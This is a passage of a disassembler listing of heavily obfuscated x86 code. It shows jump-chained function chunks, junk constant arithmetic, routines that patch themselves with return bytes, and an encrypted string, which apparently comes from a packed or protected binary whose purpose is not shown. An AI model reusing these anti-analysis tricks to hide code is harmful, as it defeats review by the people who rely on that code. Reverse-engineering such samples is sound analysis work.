0000000A BYTES xchg edi, [esp+0] pop edi mov [edx], eax pop edx jmp loc_74BB05 sub_74EA54 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_74EA60 proc near ; DATA XREF: sub_75043C+7132o mov esi, eax pop eax lea eax, sub_74CF82 mov byte ptr [eax], 0C3h jmp sub_74CF82 sub_74EA60 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CF82 loc_74EA71: ; CODE XREF: sub_74CF82j xchg edi, [esp+0] mov edx, edi pop edi mov eax, [esp+0] jmp loc_74BF14 ; END OF FUNCTION CHUNK FOR sub_74CF82 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755E40 loc_74EA7F: ; CODE XREF: sub_747A94:loc_7488BFj ; sub_755E40-1609j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_746199 jmp loc_756656 ; END OF FUNCTION CHUNK FOR sub_755E40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748B44 loc_74EA90: ; CODE XREF: sub_748B44+A6F5j or edx, 8C5BFC94h and edx, 2377738Dh rol edx, 0Dh test edx, 800h jmp loc_75679A ; END OF FUNCTION CHUNK FOR sub_748B44 ; --------------------------------------------------------------------------- xchg ebx, [edi] jmp sub_7507C6 ; --------------------------------------------------------------------------- loc_74EAB1: ; CODE XREF: _0z4jwtox:0075240Fj test eax, 65FA15BEh jmp loc_756E28 ; --------------------------------------------------------------------------- mov ds:dword_41F12C, eax call sub_750FBF ; START OF FUNCTION CHUNK FOR sub_74C7A2 loc_74EAC7: ; CODE XREF: sub_74C7A2+10j jmp loc_74D28C ; END OF FUNCTION CHUNK FOR sub_74C7A2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752D11 loc_74EACC: ; CODE XREF: sub_752D11:loc_74987Bj add edi, 11392EF0h test edi, eax jmp loc_74BEFE ; END OF FUNCTION CHUNK FOR sub_752D11 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_111. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- pop edx mov eax, [esp] push edx call sub_749088 ; START OF FUNCTION CHUNK FOR sub_7490F6 loc_74EAE4: ; CODE XREF: sub_7490F6+5740j jmp nullsub_120 ; END OF FUNCTION CHUNK FOR sub_7490F6 ; --------------------------------------------------------------------------- loc_74EAE9: ; CODE XREF: _0z4jwtox:007509BAj mov byte ptr [ebx], 87h pop ebx push 673D8DAh pop edi jmp loc_753A8B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748A22 loc_74EAF8: ; CODE XREF: sub_748A22+5109j jo loc_74C943 push edx jmp loc_756EC0 ; END OF FUNCTION CHUNK FOR sub_748A22 ; --------------------------------------------------------------------------- loc_74EB04: ; CODE XREF: _0z4jwtox:loc_7502C9j ; _0z4jwtox:007502D9j and ebx, 0D52EDD4Ah add ebx, 3A583713h and ebx, 65176F78h add ebx, 0BF62316Dh popf push offset sub_7531AF jmp locret_75271E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_287. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754DFF loc_74EB28: ; CODE XREF: sub_754DFF-E4CAj jmp loc_74DC1C ; END OF FUNCTION CHUNK FOR sub_754DFF ; --------------------------------------------------------------------------- jmp ds:off_41F08C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74763A loc_74EB33: ; CODE XREF: sub_74763A:loc_7480C6j ; _0z4jwtox:0074F261j ... jnb loc_747642 pop edx mov eax, [esp-4+arg_0] push ecx jmp loc_74AE08 ; END OF FUNCTION CHUNK FOR sub_74763A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B525 loc_74EB43: ; CODE XREF: sub_74B525:loc_74A9ECj mov ebp, esp js sub_74BE45 add esp, 0FFFFFED8h mov [ebp-8], edx mov [ebp-4], eax xor eax, eax mov [ebp-0Ch], eax jmp loc_745502 ; END OF FUNCTION CHUNK FOR sub_74B525 ; =============== S U B R O U T I N E ======================================= sub_74EB61 proc near ; DATA XREF: sub_74BDFA:loc_745168o var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0074C0F2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00753204 SIZE 00000018 BYTES push edi push edx pop edi xchg edi, [esp+4+var_4] push eax push 2B91595Eh jmp loc_74C0F2 sub_74EB61 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_74EB72: ; CODE XREF: _0z4jwtox:00751E73j mov ebp, 0C4A61FE9h jmp loc_752B24 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BA2F loc_74EB7C: ; CODE XREF: sub_74BA2F:loc_74FE05j call sub_74BDFA loc_74EB81: ; DATA XREF: sub_74CBCF-4944o push eax mov eax, edx call sub_74A3AB loc_74EB89: ; CODE XREF: _0z4jwtox:loc_746049j mov eax, [esp+0] jmp loc_756482 ; END OF FUNCTION CHUNK FOR sub_74BA2F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CBCF loc_74EB91: ; CODE XREF: sub_74CBCF:loc_750EDEj ror eax, 0Eh xor eax, 0A9261620h ror eax, 11h jmp loc_746018 ; END OF FUNCTION CHUNK FOR sub_74CBCF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D23E loc_74EBA2: ; CODE XREF: sub_74D23E:loc_755E72j ; DATA XREF: sub_748A22+E4AEo mov edx, eax call sub_752E0F call sub_74C2C9 or eax, eax loc_74EBB0: ; CODE XREF: _0z4jwtox:007491CBj jnz loc_7465A1 jmp loc_74AB20 ; END OF FUNCTION CHUNK FOR sub_74D23E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749608 loc_74EBBB: ; CODE XREF: sub_749608+1EB7j jz loc_754638 loc_74EBC1: ; CODE XREF: sub_748723-13DDj jmp loc_747A2B ; END OF FUNCTION CHUNK FOR sub_749608 ; --------------------------------------------------------------------------- rol edi, 1Bh jmp loc_75462D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746FBD loc_74EBCE: ; CODE XREF: sub_746FBD:loc_74EE5Dj rol edx, 13h xor edx, 96F9FAFBh xor eax, edx pop edx rol eax, 0Eh jmp loc_7562D0 ; END OF FUNCTION CHUNK FOR sub_746FBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7543C5 loc_74EBE2: ; CODE XREF: sub_7543C5+4j call sub_74CBCF loc_74EBE7: ; CODE XREF: sub_75504B+19j jmp loc_74AEFC ; END OF FUNCTION CHUNK FOR sub_7543C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C670 loc_74EBEC: ; CODE XREF: sub_74C670+Fj jmp loc_753B55 ; END OF FUNCTION CHUNK FOR sub_74C670 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_74EBF1: ; CODE XREF: sub_747C22:loc_75658Cj xchg edi, [esp+8+var_8] push offset aLQiHcndSg ; "Q]hCD\x1B+\n" jmp nullsub_195 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- mov eax, 0D59435E2h call sub_746E93 mov ds:off_41F074, eax lea eax, sub_752FC5 mov byte ptr [eax], 0C3h jmp sub_752FC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752FC5 loc_74EC1C: ; CODE XREF: sub_752FC5j pop edx jmp loc_753E72 ; END OF FUNCTION CHUNK FOR sub_752FC5 ; =============== S U B R O U T I N E ======================================= sub_74EC22 proc near ; DATA XREF: _0z4jwtox:00754015o xchg ebx, [esp+0] mov edi, ebx pop ebx and edi, 308A7C22h sub_74EC22 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_745911 loc_74EC2E: ; CODE XREF: sub_745911:loc_748973j add edi, 8D226A1Fh add edi, ebp push offset loc_74529C jmp loc_74DB83 ; END OF FUNCTION CHUNK FOR sub_745911 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749010 loc_74EC40: ; CODE XREF: sub_749010-A63j jp loc_745DA2 loc_74EC46: ; CODE XREF: sub_749010:loc_74B2B0j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_74F77B loc_74EC52: ; CODE XREF: _0z4jwtox:00747522j jmp loc_747211 ; END OF FUNCTION CHUNK FOR sub_749010 ; --------------------------------------------------------------------------- db 0Fh dd 0CA98Ah, 1C97E900h, 0C7850000h, 606AE9h db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_39. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C1D8 loc_74EC6A: ; CODE XREF: sub_74C1D8-4AFDj jmp loc_74743C ; END OF FUNCTION CHUNK FOR sub_74C1D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7473D1 loc_74EC6F: ; CODE XREF: _0z4jwtox:loc_745D9Cj ; sub_7473D1+B3B4j add eax, ebp add eax, 0C2D05804h mov eax, [eax] mov esp, ebp xchg ecx, [esp+0] push ecx jmp loc_74E976 ; END OF FUNCTION CHUNK FOR sub_7473D1 ; --------------------------------------------------------------------------- loc_74EC84: ; CODE XREF: _0z4jwtox:0074FEA7j pop ebx and ebx, 76F55983h push offset loc_749CAE jmp loc_755DB2 ; --------------------------------------------------------------------------- loc_74EC95: ; CODE XREF: _0z4jwtox:0074B28Aj xchg edi, [esp] push 0D5374CA7h pop ebx add ebx, 0ED1161AFh xor ebx, 0F36FB6F0h or ebx, 534B1041h sub ebx, 48B918C6h add ebx, 0D5BE866Ah jmp loc_756C34 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746640 loc_74ECC1: ; CODE XREF: sub_746640:loc_746645j mov edi, [edi] popf cmp eax, edi pop edi jmp loc_74545D ; END OF FUNCTION CHUNK FOR sub_746640 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7453AD loc_74ECCC: ; CODE XREF: sub_7453AD+11016j not eax mov eax, ecx pushf jmp loc_75025F ; END OF FUNCTION CHUNK FOR sub_7453AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7562F7 loc_74ECD6: ; CODE XREF: sub_7562F7-4430j jg loc_74F93D pushf loc_74ECDD: ; CODE XREF: sub_7562F7:loc_750EA8j mov eax, 80F02D07h push edx push 0CD9B95A1h pop edx jmp loc_74C934 ; END OF FUNCTION CHUNK FOR sub_7562F7 ; --------------------------------------------------------------------------- loc_74ECEE: ; CODE XREF: _0z4jwtox:0074AE41j cdq ; =============== S U B R O U T I N E ======================================= sub_74ECEF proc near ; CODE XREF: sub_746640:loc_75129Ap ; FUNCTION CHUNK AT 00748374 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0074A1DD SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0074AFEC SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0074B4D2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074BAFF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074E78A SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0074FD93 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0075235F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075772D SIZE 00000005 BYTES xchg edi, [esp+0] pop edi movzx eax, word ptr [ebp-6] push 0F0609F51h xchg esi, [esp+0] jmp loc_74B4D2 sub_74ECEF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752D11 loc_74ED04: ; CODE XREF: sub_752D11-8084j xchg ecx, [eax] ror ecx, 2 sbb ebx, 40B2F89Bh jmp loc_7510BB ; END OF FUNCTION CHUNK FOR sub_752D11 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E7AE loc_74ED14: ; CODE XREF: sub_74E7AE:loc_756E7Ej push offset loc_7482C8 jmp sub_752904 ; END OF FUNCTION CHUNK FOR sub_74E7AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_74ED1E: ; CODE XREF: sub_747C22+D894j jnz loc_75234A cmp ecx, 0AC4BA259h jmp loc_74B7F4 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- jmp ds:off_41F040 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CA64 loc_74ED35: ; CODE XREF: sub_74CA64+Cj jmp loc_74E24E ; END OF FUNCTION CHUNK FOR sub_74CA64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CBCF loc_74ED3A: ; CODE XREF: _0z4jwtox:00745D34j ; _0z4jwtox:007477D9j ... xchg esi, [esp+0] mov edx, esi pop esi jns loc_745D39 mov eax, [esp-4+arg_0] push offset loc_745D19 jmp loc_753BCA ; END OF FUNCTION CHUNK FOR sub_74CBCF ; =============== S U B R O U T I N E ======================================= sub_74ED53 proc near ; CODE XREF: _0z4jwtox:00750F59p ; _0z4jwtox:00754437j ; FUNCTION CHUNK AT 007552D6 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx mov byte ptr [eax], 0C3h jmp loc_7552D6 sub_74ED53 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_74ED5F proc near ; CODE XREF: sub_404ECE+24Dp ; sub_406059+10Ep ... var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 007457F8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007515F4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007532F9 SIZE 00000011 BYTES push eax mov eax, ebx xchg eax, [esp+4+var_4] push 689BA701h xchg edx, [esp+8+var_8] jmp loc_7457F8 sub_74ED5F endp ; =============== S U B R O U T I N E ======================================= sub_74ED72 proc near ; CODE XREF: _0z4jwtox:00747AA5j ; sub_752957-3A0Bp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 007552C0 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax xchg eax, [esp-4+arg_0] push offset loc_756D02 jmp loc_7552C0 sub_74ED72 endp ; =============== S U B R O U T I N E ======================================= sub_74ED83 proc near ; DATA XREF: sub_74A066+5o xchg edi, [esp+0] jmp sub_746E93 sub_74ED83 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74985C loc_74ED8B: ; CODE XREF: sub_74985C:loc_751545j pushf jmp loc_745F4B ; END OF FUNCTION CHUNK FOR sub_74985C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_201. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75375E loc_74ED92: ; CODE XREF: sub_75375E-6E53j jmp nullsub_144 ; END OF FUNCTION CHUNK FOR sub_75375E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7451D9 loc_74ED97: ; CODE XREF: sub_7451D9+9j jmp loc_749E1D ; END OF FUNCTION CHUNK FOR sub_7451D9 ; =============== S U B R O U T I N E ======================================= sub_74ED9C proc near ; DATA XREF: _0z4jwtox:00748AFDo call sub_746E93 mov ds:dword_41F03C, eax lea eax, nullsub_207 call sub_74DBDF sub_74ED9C endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_74A71A loc_74EDB2: ; CODE XREF: sub_74A71A+B80Ej jmp loc_749AF8 ; END OF FUNCTION CHUNK FOR sub_74A71A ; --------------------------------------------------------------------------- loc_74EDB7: ; CODE XREF: _0z4jwtox:00746963j or ebx, esi cdq jz loc_74D2E4 jmp loc_74C0DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74DAAF loc_74EDC5: ; CODE XREF: sub_74DAAF:loc_749558j mov ecx, ebp xchg ecx, [esp+4+var_4] mov ebp, esp push ecx call sub_74A372 loc_74EDD2: ; CODE XREF: _0z4jwtox:00756D7Ej jmp loc_74A679 ; END OF FUNCTION CHUNK FOR sub_74DAAF ; --------------------------------------------------------------------------- loc_74EDD7: ; CODE XREF: _0z4jwtox:0074BCF2j jmp loc_75491E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752520 loc_74EDDC: ; CODE XREF: sub_752520:loc_747305j mov ecx, 0E35F2833h pop eax jmp loc_748ADC ; END OF FUNCTION CHUNK FOR sub_752520 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CAC3 loc_74EDE7: ; CODE XREF: sub_74CAC3+22j mov [edx], eax pop edx call sub_750887 ; END OF FUNCTION CHUNK FOR sub_74CAC3 ; START OF FUNCTION CHUNK FOR sub_747736 loc_74EDEF: ; CODE XREF: sub_747736+C3C4j jmp loc_751398 ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- loc_74EDF4: ; CODE XREF: _0z4jwtox:00750DAFj jmp loc_752870 ; --------------------------------------------------------------------------- loc_74EDF9: ; CODE XREF: _0z4jwtox:0074F539j jmp loc_753915 ; --------------------------------------------------------------------------- loc_74EDFE: ; CODE XREF: _0z4jwtox:0074AE62j jmp loc_7550BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752B0C loc_74EE03: ; CODE XREF: sub_752B0C-B862j add edx, [ebp-4] add eax, edx call sub_7535B3 loc_74EE0D: ; CODE XREF: sub_7472C9+18j jmp loc_74860F ; END OF FUNCTION CHUNK FOR sub_752B0C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756826 loc_74EE12: ; CODE XREF: sub_756826-1930j shr edi, 11h not eax cmp edx, 770214D5h jmp loc_7450AA ; END OF FUNCTION CHUNK FOR sub_756826 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7561AB loc_74EE22: ; CODE XREF: sub_7561AB-549Fj rol eax, 1Ah and eax, 0EC833D19h xor eax, 0CBB4216Eh add eax, ebp add eax, 0D8C8E36Dh jmp loc_7561B0 ; END OF FUNCTION CHUNK FOR sub_7561AB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7490F6 loc_74EE3E: ; CODE XREF: sub_74EF6C-934Bj ; sub_74A821+7j ... jmp loc_747582 ; END OF FUNCTION CHUNK FOR sub_7490F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74EF6C loc_74EE43: ; CODE XREF: sub_74EF6C+3j ; _0z4jwtox:007551EBj xchg edi, [esp+0] mov ecx, edi pop edi call sub_74A959 ; END OF FUNCTION CHUNK FOR sub_74EF6C ; START OF FUNCTION CHUNK FOR sub_751078 loc_74EE4E: ; CODE XREF: sub_751078+Fj jmp loc_753514 ; END OF FUNCTION CHUNK FOR sub_751078 ; --------------------------------------------------------------------------- loc_74EE53: ; CODE XREF: _0z4jwtox:0074D608j jmp loc_74DACA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747A94 loc_74EE58: ; CODE XREF: sub_747A94+F89j jmp loc_7481DD ; END OF FUNCTION CHUNK FOR sub_747A94 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746FBD loc_74EE5D: ; CODE XREF: sub_746FBD+11j jmp loc_74EBCE ; END OF FUNCTION CHUNK FOR sub_746FBD ; --------------------------------------------------------------------------- sbb eax, 571DA464h jmp sub_745CC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C4BB loc_74EE6D: ; CODE XREF: sub_74C4BB-3D4Dj jl loc_756153 pop ebp loc_74EE74: ; CODE XREF: sub_74C4BB-3D5Aj xor ebx, 9B9B4894h add ebx, 58309619h xchg ebx, [esp+4+var_4] jmp loc_749DE7 ; END OF FUNCTION CHUNK FOR sub_74C4BB ; --------------------------------------------------------------------------- loc_74EE88: ; CODE XREF: _0z4jwtox:loc_75336Cj jz loc_7534F4 ; START OF FUNCTION CHUNK FOR sub_7473E6 loc_74EE8E: ; CODE XREF: sub_7473E6+418Fj jmp loc_74B48C ; END OF FUNCTION CHUNK FOR sub_7473E6 ; --------------------------------------------------------------------------- cdq shr eax, 5 ; START OF FUNCTION CHUNK FOR sub_74D1F3 loc_74EE97: ; CODE XREF: sub_74D1F3:loc_74BE1Fj jmp loc_7534F4 ; END OF FUNCTION CHUNK FOR sub_74D1F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749306 loc_74EE9C: ; CODE XREF: sub_749306+4F7Dj imul byte ptr [edx] cmp al, 0A4h jz loc_7554A3 jmp loc_748A83 ; END OF FUNCTION CHUNK FOR sub_749306 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_74EEAB: ; CODE XREF: sub_747C22-1F0Ej jp loc_74B65A cmp esi, edi jmp loc_748F94 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- loc_74EEB8: ; CODE XREF: _0z4jwtox:00747CA3j ; _0z4jwtox:loc_74D73Aj sub eax, 0F11F2737h xor eax, 0DA81E3B7h push edx mov edx, esi jmp loc_7493C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7561AB loc_74EECC: ; CODE XREF: sub_7561AB-87E0j add ebp, 8F3CE4F2h cdq xchg esi, edx cmp ebx, ebp jmp loc_7544D8 ; END OF FUNCTION CHUNK FOR sub_7561AB ; --------------------------------------------------------------------------- loc_74EEDC: ; CODE XREF: _0z4jwtox:0074DCD4j jp loc_757442 or edx, ebx loc_74EEE4: ; CODE XREF: _0z4jwtox:loc_74C9C2j call sub_754FC6 push 9E80B65Dh pop edx or edx, 39DB7F3Bh jmp loc_749FAD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_249. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E531 loc_74EEFB: ; CODE XREF: sub_74E531:loc_74F295j xchg eax, [esp+0] mov edx, eax pop eax or edx, 7EB80A77h xor edx, 1563029Ch jmp loc_754E7A ; END OF FUNCTION CHUNK FOR sub_74E531 ; --------------------------------------------------------------------------- loc_74EF12: ; CODE XREF: _0z4jwtox:0074ADE6j pop ecx lea eax, nullsub_191 mov byte ptr [eax], 0C3h jmp nullsub_191 ; --------------------------------------------------------------------------- call nullsub_252 jmp ds:dword_41F12C ; --------------------------------------------------------------------------- loc_74EF2C: ; CODE XREF: _0z4jwtox:00751187j jbe nullsub_195 ; START OF FUNCTION CHUNK FOR sub_748574 loc_74EF32: ; CODE XREF: sub_748574:loc_746CDDj rol ecx, 2 test ecx, 4000000h jmp loc_74937A ; END OF FUNCTION CHUNK FOR sub_748574 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_134. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_74EF41: ; CODE XREF: _0z4jwtox:00755F03j jmp loc_7498FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752957 loc_74EF46: ; CODE XREF: sub_752957-7C24j mov eax, [esp-4+arg_0] push eax mov eax, edx call sub_74ED72 loc_74EF51: ; CODE XREF: sub_74FE55-8462j jmp loc_7512B7 ; END OF FUNCTION CHUNK FOR sub_752957 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_74EF56: ; CODE XREF: sub_74FE55:loc_74A5DEj mov esi, eax jmp loc_756004 ; END OF FUNCTION CHUNK FOR sub_74FE55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747A94 loc_74EF5D: ; CODE XREF: sub_747A94:loc_7500A4j imul byte ptr [edx] cmp al, 0A4h jz loc_746194 jmp loc_74D2CD ; END OF FUNCTION CHUNK FOR sub_747A94 ; =============== S U B R O U T I N E ======================================= sub_74EF6C proc near ; DATA XREF: sub_75216C+2o ; FUNCTION CHUNK AT 00745C13 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00749DE2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074CA07 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074EE43 SIZE 0000000B BYTES cmp byte ptr [eax], 0F1h jnz loc_74EE43 jmp loc_749DE2 sub_74EF6C endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_74EF7A: ; DATA XREF: sub_7559D8+Eo mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jz loc_752192 jmp loc_746438 ; --------------------------------------------------------------------------- jnz loc_756A8E jmp sub_74E451 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7570CA loc_74EF96: ; CODE XREF: sub_7570CA:loc_75516Fj pop eax add eax, 40DBBF3Ah cmp eax, 0C8B08F30h jmp loc_747E9B ; END OF FUNCTION CHUNK FOR sub_7570CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755C10 loc_74EFA8: ; CODE XREF: sub_755C10-1DFj mov eax, [ebp+var_4] mov al, [eax] jnz loc_751F8A sub al, 99h push 0CB84C874h jmp loc_74D07E ; END OF FUNCTION CHUNK FOR sub_755C10 ; --------------------------------------------------------------------------- loc_74EFBF: ; CODE XREF: _0z4jwtox:0074F0F9j jz loc_74CA7C adc ebp, esi or esi, 0E746DBD4h jmp loc_74CA7C ; --------------------------------------------------------------------------- loc_74EFD2: ; DATA XREF: sub_74952C-878o xchg eax, [esp] jmp loc_74DCA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BFE0 loc_74EFDA: ; CODE XREF: sub_74BFE0+9D79j jnz loc_74D06D jmp loc_756587 ; END OF FUNCTION CHUNK FOR sub_74BFE0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_74EFE5: ; CODE XREF: sub_74FE55:loc_752308j push edx call sub_75740D mov eax, 0BB931B55h call sub_746E93 mov ds:off_41F0BC, eax lea eax, loc_74D62C push offset sub_7569BD jmp loc_74D017 ; END OF FUNCTION CHUNK FOR sub_74FE55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745FE5 loc_74F00B: ; CODE XREF: sub_749115:loc_745C2Fj ; sub_746DB9:loc_746DC8j ... call sub_7514BF loc_74F010: ; CODE XREF: sub_74C733+3238j jmp sub_754E36 ; END OF FUNCTION CHUNK FOR sub_745FE5 ; --------------------------------------------------------------------------- loc_74F015: ; CODE XREF: _0z4jwtox:0074CD37j jmp loc_74A008 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755C38 loc_74F01A: ; CODE XREF: sub_755C38-AE3Bj jmp loc_74B407 ; END OF FUNCTION CHUNK FOR sub_755C38 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BE45 loc_74F01F: ; CODE XREF: sub_74BE45:loc_746A62j mov [ebp-8], edx mov [ebp-4], eax xor eax, eax mov [ebp-0Ch], eax jmp loc_74FE2C ; END OF FUNCTION CHUNK FOR sub_74BE45 ; --------------------------------------------------------------------------- loc_74F02F: ; CODE XREF: _0z4jwtox:loc_757629j jnz loc_7532A3 xchg edx, [ebx] jbe loc_756ECC cdq jmp loc_74519A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7473D1 loc_74F043: ; CODE XREF: sub_7473D1:loc_75745Aj mov eax, [eax] add eax, [ebp-4] push offset loc_751F7D jmp loc_7495C4 ; END OF FUNCTION CHUNK FOR sub_7473D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7557E7 loc_74F052: ; CODE XREF: sub_7557E7:loc_746BFEj ; sub_7557E7-EBD1j xor eax, 0C9FC2468h call sub_746E93 mov ds:dword_41F054, eax lea eax, nullsub_10 mov byte ptr [eax], 0C3h jmp loc_745F5A ; END OF FUNCTION CHUNK FOR sub_7557E7 ; --------------------------------------------------------------------------- loc_74F071: ; CODE XREF: _0z4jwtox:0074A6ADj mov eax, [esp] jmp loc_7503D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7570E0 loc_74F079: ; CODE XREF: sub_7570E0+22j call sub_74BA29 call sub_74BA1A loc_74F083: ; CODE XREF: _0z4jwtox:00757129j jmp loc_746230 ; END OF FUNCTION CHUNK FOR sub_7570E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_74F088: ; CODE XREF: sub_747C22+557Bj jmp loc_74CFB7 ; END OF FUNCTION CHUNK FOR sub_747C22 ; =============== S U B R O U T I N E ======================================= sub_74F08D proc near ; CODE XREF: sub_7497C9+1p ; _0z4jwtox:00756C59j arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00745D5D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074639F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00748C8C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00749785 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0074A5C4 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0074A81C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074C7C5 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0075628C SIZE 00000015 BYTES xchg ecx, [esp+0] pop ecx push 0B1802552h pop esi sub esi, 4BA5C706h rol esi, 19h xor esi, 4F292299h jmp loc_74A5C4 sub_74F08D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B525 loc_74F0AB: ; CODE XREF: sub_74B525:loc_745502j push offset loc_74BE31 jmp nullsub_66 ; END OF FUNCTION CHUNK FOR 